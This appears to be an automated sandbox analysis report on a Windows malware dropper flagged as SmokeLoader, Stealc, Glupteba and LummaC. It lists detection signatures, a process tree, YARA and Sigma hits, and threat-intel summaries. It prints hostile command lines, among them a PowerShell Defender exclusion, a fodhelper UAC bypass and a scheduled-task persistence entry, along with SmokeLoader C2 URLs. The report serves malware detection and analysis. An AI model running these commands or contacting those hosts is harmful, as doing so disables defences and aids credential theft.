Edit tour

Windows Analysis Report
5Yzloz244r.exe

Overview

General Information

Sample name:	5Yzloz244r.exe renamed because original name is a hash value
Original sample name:	e6399303ceaa23310986ca0f5f6444df.exe
Analysis ID:	1386672
MD5:	e6399303ceaa23310986ca0f5f6444df
SHA1:	129b77939bbf5f50cb2f5f4248dd9f4416c15143
SHA256:	d9e82b2bbf5ef1628749c4703f5d38d74b83994cdee1712f5429af889f7c1bfb
Tags:	Amadeyexe
Infos:

Detection

LummaC, CryptOne, Glupteba, SmokeLoader, Socks5Systemz, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Benign windows process drops PE files

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

System process connects to network (likely due to code injection or exploit)

UAC bypass detected (Fodhelper)

Yara detected CryptOne packer

Yara detected Glupteba

Yara detected SmokeLoader

Yara detected Socks5Systemz

Yara detected Stealc

Yara detected UAC Bypass using CMSTP

Adds a directory exclusion to Windows Defender

C2 URLs / IPs found in malware configuration

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Checks if the current machine is a virtual machine (disk enumeration)

Contains functionality to infect the boot sector

Contains functionality to inject code into remote processes

Creates a thread in another existing process (thread injection)

Deletes itself after installation

Drops PE files with benign system names

Hides that the sample has been downloaded from the Internet (zone.identifier)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Maps a DLL or memory area into another process

Overwrites Mozilla Firefox settings

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

PE file contains section with special chars

PE file has a writeable .text section

Sigma detected: Files With System Process Name In Unsuspected Locations

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: System File Execution Location Anomaly

Suspicious powershell command line found

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Uses known network protocols on non-standard ports

Uses schtasks.exe or at.exe to add and modify task schedules

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Connects to several IPs in different countries

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to shutdown / reboot the system

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Registers a DLL

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Execution of Suspicious File Type Extension

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Process Patterns NTDS.DIT Exfil

Sigma detected: Suspicious Schtasks From Env Var Folder

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Tries to load missing DLLs

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

5Yzloz244r.exe (PID: 3288 cmdline: C:\Users\user\Desktop\5Yzloz244r.exe MD5: E6399303CEAA23310986CA0F5F6444DF)

explorer.exe (PID: 2580 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)

6C7B.exe (PID: 2044 cmdline: C:\Users\user\AppData\Local\Temp\6C7B.exe MD5: 1996A23C7C764A77CCACF5808FEC23B0)

regsvr32.exe (PID: 6592 cmdline: regsvr32 /s C:\Users\user\AppData\Local\Temp\742D.dll MD5: B0C2FA35D14A9FAD919E99D9D75E1B9E)

regsvr32.exe (PID: 6732 cmdline: /s C:\Users\user\AppData\Local\Temp\742D.dll MD5: 878E47C8656E53AE8A8A21E927C6F7E0)

7CB9.exe (PID: 7096 cmdline: C:\Users\user\AppData\Local\Temp\7CB9.exe MD5: E88E0FE2BB602D639E5658C42F34AF2F)

WerFault.exe (PID: 4628 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7096 -s 1448 MD5: C31336C1EFC2CCB44B4326EA793040F2)

87C6.exe (PID: 6980 cmdline: C:\Users\user\AppData\Local\Temp\87C6.exe MD5: 151E9EC4F0355D2F131B871671BD5E20)

87C6.exe (PID: 2316 cmdline: C:\Users\user\AppData\Local\Temp\87C6.exe MD5: 151E9EC4F0355D2F131B871671BD5E20)

98EE.exe (PID: 4592 cmdline: C:\Users\user\AppData\Local\Temp\98EE.exe MD5: 82BEB2A060E63C9C9A26663D0103FAE6)

98EE.tmp (PID: 1312 cmdline: "C:\Users\user\AppData\Local\Temp\is-FTTRT.tmp\98EE.tmp" /SL5="$E0076,7414031,54272,C:\Users\user\AppData\Local\Temp\98EE.exe" MD5: B0292A40F16BC3D5A1FE839FAC1C825A)

98EE.exe (PID: 3400 cmdline: "C:\Users\user\AppData\Local\Temp\98EE.exe" /SPAWNWND=$302A2 /NOTIFYWND=$E0076 MD5: 82BEB2A060E63C9C9A26663D0103FAE6)

98EE.tmp (PID: 6760 cmdline: "C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp" /SL5="$80272,7414031,54272,C:\Users\user\AppData\Local\Temp\98EE.exe" /SPAWNWND=$302A2 /NOTIFYWND=$E0076 MD5: B0292A40F16BC3D5A1FE839FAC1C825A)

vbsmartcardviewer.exe (PID: 1712 cmdline: "C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe" -i MD5: 29DEB5EE2C07F1E8660E10AB6E4A0966)

vbsmartcardviewer.exe (PID: 6764 cmdline: "C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe" -s MD5: 29DEB5EE2C07F1E8660E10AB6E4A0966)

C33B.exe (PID: 5180 cmdline: C:\Users\user\AppData\Local\Temp\C33B.exe MD5: CEAE65EE17FF158877706EDFE2171501)

288c47bbc1871b439df19ff4df68f076.exe (PID: 3684 cmdline: "C:\Users\user\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe" MD5: D122F827C4FC73F9A06D7F6F2D08CD95)

cmd.exe (PID: 1544 cmdline: C:\Windows\Sysnative\cmd.exe /C fodhelper MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1396 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

fodhelper.exe (PID: 3584 cmdline: fodhelper MD5: 85018BE1FD913656BC9FF541F017EACD)

fodhelper.exe (PID: 5016 cmdline: "C:\Windows\system32\fodhelper.exe" MD5: 85018BE1FD913656BC9FF541F017EACD)

InstallSetup4.exe (PID: 2896 cmdline: "C:\Users\user\AppData\Local\Temp\InstallSetup4.exe" MD5: 28B72E7425D6D224C060D3CF439C668C)

BroomSetup.exe (PID: 1880 cmdline: C:\Users\user\AppData\Local\Temp\BroomSetup.exe MD5: 5E94F0F6265F9E8B2F706F1D46BBD39E)

cmd.exe (PID: 3128 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Temp\Task.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1664 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 3868 cmdline: chcp 1251 MD5: 20A59FB950D8A191F7D35C4CA7DA9CAF)

schtasks.exe (PID: 3804 cmdline: schtasks /create /tn "MalayamaraUpdate" /tr "'C:\Users\user\AppData\Local\Temp\Updater.exe'" /sc minute /mo 30 /F MD5: 48C2FE20575769DE916F48EF0676A965)

nsdE4F9.tmp (PID: 2344 cmdline: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp MD5: 5FA7AD590C3CD426256D9D566A763D82)

FourthX.exe (PID: 4192 cmdline: "C:\Users\user\AppData\Local\Temp\FourthX.exe" MD5: B03886CB64C04B828B6EC1B2487DF4A4)

powershell.exe (PID: 2120 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Start-Process "C:\Users\user\AppData\Local\Temp\FourthX.exe" -Verb runAs MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 888 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

FourthX.exe (PID: 5328 cmdline: "C:\Users\user\AppData\Local\Temp\FourthX.exe" MD5: B03886CB64C04B828B6EC1B2487DF4A4)

powershell.exe (PID: 5436 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 2504 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

D741.exe (PID: 2148 cmdline: C:\Users\user\AppData\Local\Temp\D741.exe MD5: C01379CE9E0B81AF37FF363819459B20)

jjdjbtc (PID: 5228 cmdline: C:\Users\user\AppData\Roaming\jjdjbtc MD5: E6399303CEAA23310986CA0F5F6444DF)

6C7B.exe (PID: 2116 cmdline: "C:\Users\user\AppData\Local\Temp\6C7B.exe" MD5: 1996A23C7C764A77CCACF5808FEC23B0)

svchost.exe (PID: 3796 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

WerFault.exe (PID: 6108 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 7096 -ip 7096 MD5: C31336C1EFC2CCB44B4326EA793040F2)

csrss.exe (PID: 3520 cmdline: "C:\ProgramData\Drivers\csrss.exe" MD5: 151E9EC4F0355D2F131B871671BD5E20)

csrss.exe (PID: 5184 cmdline: "C:\ProgramData\Drivers\csrss.exe" MD5: 151E9EC4F0355D2F131B871671BD5E20)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://darktrace.com/blog/the-rise-of-the-lumma-info-stealer https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-lummac2-94111d4b1e11	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Glupteba	Glupteba is a trojan horse malware that is one of the top ten malware variants of 2021. After infecting a system, the Glupteba malware can be used to deliver additional malware, steal user authentication information, and enroll the infected system in a cryptomining botnet.	No Attribution	http://resources.infosecinstitute.com/tdss4-part-1/ https://blog.chainalysis.com/reports/2022-crypto-crime-report-preview-malware/ https://blog.google/technology/safety-security/new-action-combat-cyber-crime/ https://blog.google/threat-analysis-group/disrupting-glupteba-operation/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/	https://malpedia.caad.fkie.fraunhofer.de/details/win.glupteba

Name	Description	Attribution	Blogpost URLs	Link
SmokeLoader	The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body.	SMOKY SPIDER	http://security.neurolabs.club/2019/08/smokeloaders-hardcoded-domains-sneaky.html http://security.neurolabs.club/2019/10/dynamic-imports-and-working-around.html http://security.neurolabs.club/2020/04/diffing-malware-samples-using-bindiff.html http://security.neurolabs.club/2020/06/unpacking-smokeloader-and.html https://0xc0decafe.com/2020/12/23/detect-rc4-in-malicious-binaries	https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: SmokeLoader

{"Version": 2022, "C2 list": ["http://valarioulinity1.net/index.php", "http://buriatiarutuhuob.net/index.php", "http://cassiosssionunu.me/index.php"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\742D.dll	JoeSecurity_Crypt	Yara detected CryptOne packer	Joe Security
C:\Users\user\AppData\Local\Temp\BroomSetup.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\Users\user\AppData\Local\Temp\C33B.exe	MALWARE_Win_DLInjector04	Detects downloader / injector	ditekSHen	0x8ad454:$s1: Runner 0x8ad5b9:$s3: RunOnStartup 0x8ad468:$a1: Antis 0x8ad495:$a2: antiVM 0x8ad49c:$a3: antiSandbox 0x8ad4a8:$a4: antiDebug 0x8ad4b2:$a5: antiEmulator 0x8ad4bf:$a6: enablePersistence 0x8ad4d1:$a7: enableFakeError 0x8ad5e2:$a8: DetectVirtualMachine 0x8ad607:$a9: DetectSandboxie 0x8ad632:$a10: DetectDebugger 0x8ad641:$a11: CheckEmulator

Memory Dumps

Source	Rule	Description	Author	Strings
00000027.00000002.2633096271.0000000000937000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000027.00000002.2633548507.00000000021B0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000020.00000002.2240906447.0000000000758000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x735b:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000003.00000002.1943005542.000000000066E000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x3713:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000003.00000002.1942691049.0000000000601000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000003.00000002.1942691049.0000000000601000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x2a4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000000A.00000002.1945434544.0000000000413000.00000004.00000001.01000000.00000006.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000000.00000002.1703009629.00000000005D0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000027.00000002.2633096271.0000000000900000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001B.00000002.2187651810.0000000002800000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x778:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000020.00000002.2239536145.0000000000590000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000001D.00000003.2186277276.0000000003AE2000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Glupteba	Yara detected Glupteba	Joe Security
00000020.00000002.2239902889.00000000005A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000020.00000002.2239902889.00000000005A0000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x624:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000001D.00000002.2260755475.0000000000843000.00000040.00000001.01000000.00000017.sdmp	JoeSecurity_Glupteba	Yara detected Glupteba	Joe Security
0000001D.00000002.2274530955.0000000002DB0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000001D.00000002.2273976773.00000000029A9000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000020.00000002.2240548880.0000000000711000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000020.00000002.2240548880.0000000000711000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x224:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000027.00000002.2632990846.00000000008E8000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1408:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000016.00000002.4110757881.0000000002B61000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Socks5Systemz	Yara detected Socks5Systemz	Joe Security
00000004.00000002.1908624572.0000000000413000.00000004.00000001.01000000.00000006.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0000000E.00000002.1990030741.00000000023D0000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.1703068992.0000000000601000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.1703068992.0000000000601000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x2a4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000021.00000000.2186784189.0000000000401000.00000020.00000001.01000000.0000001B.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
00000000.00000002.1703174858.000000000064E000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x39a3:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.1703030711.00000000005E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.1703030711.00000000005E0000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x6a4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000003.00000002.1942416948.0000000000480000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000003.00000002.1942416948.0000000000480000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x6a4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000001D.00000002.2274530955.00000000031F3000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Glupteba	Yara detected Glupteba	Joe Security
00000016.00000002.4110412410.0000000002ABD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Socks5Systemz	Yara detected Socks5Systemz	Joe Security
00000003.00000002.1942372818.0000000000470000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000020.00000003.2186806895.00000000005A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
Click to see the 30 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
32.2.D741.exe.590e67.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
32.3.D741.exe.5a0000.0.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
32.2.D741.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
10.2.6C7B.exe.400000.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
10.2.6C7B.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x10000:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x100a0:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x10170:$s2: Elevation:Administrator!new:
4.2.6C7B.exe.400000.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
4.2.6C7B.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x10000:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x100a0:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x10170:$s2: Elevation:Administrator!new:
26.0.C33B.exe.7f0000.0.unpack	MALWARE_Win_DLInjector04	Detects downloader / injector	ditekSHen	0x8ad454:$s1: Runner 0x8ad5b9:$s3: RunOnStartup 0x8ad468:$a1: Antis 0x8ad495:$a2: antiVM 0x8ad49c:$a3: antiSandbox 0x8ad4a8:$a4: antiDebug 0x8ad4b2:$a5: antiEmulator 0x8ad4bf:$a6: enablePersistence 0x8ad4d1:$a7: enableFakeError 0x8ad5e2:$a8: DetectVirtualMachine 0x8ad607:$a9: DetectSandboxie 0x8ad632:$a10: DetectDebugger 0x8ad641:$a11: CheckEmulator
33.0.BroomSetup.exe.400000.0.unpack	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
29.2.288c47bbc1871b439df19ff4df68f076.exe.2db0e67.11.unpack	JoeSecurity_Glupteba	Yara detected Glupteba	Joe Security
29.2.288c47bbc1871b439df19ff4df68f076.exe.400000.7.unpack	JoeSecurity_Glupteba	Yara detected Glupteba	Joe Security
29.3.288c47bbc1871b439df19ff4df68f076.exe.36a0000.0.unpack	JoeSecurity_Glupteba	Yara detected Glupteba	Joe Security
Click to see the 7 entries

Sigma Signatures

System Summary

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\87C6.exe, ProcessId: 2316, TargetFilename: C:\ProgramData\Drivers\csrss.exe

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\FourthX.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\FourthX.exe, ParentProcessId: 5328, ParentProcessName: FourthX.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 5436, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Start-Process "C:\Users\user\AppData\Local\Temp\FourthX.exe" -Verb runAs, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Start-Process "C:\Users\user\AppData\Local\Temp\FourthX.exe" -Verb runAs, CommandLine|base64offset|contains: J, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\FourthX.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\FourthX.exe, ParentProcessId: 4192, ParentProcessName: FourthX.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Start-Process "C:\Users\user\AppData\Local\Temp\FourthX.exe" -Verb runAs, ProcessId: 2120, ProcessName: powershell.exe

Sigma detected: System File Execution Location Anomaly

Source: Process started

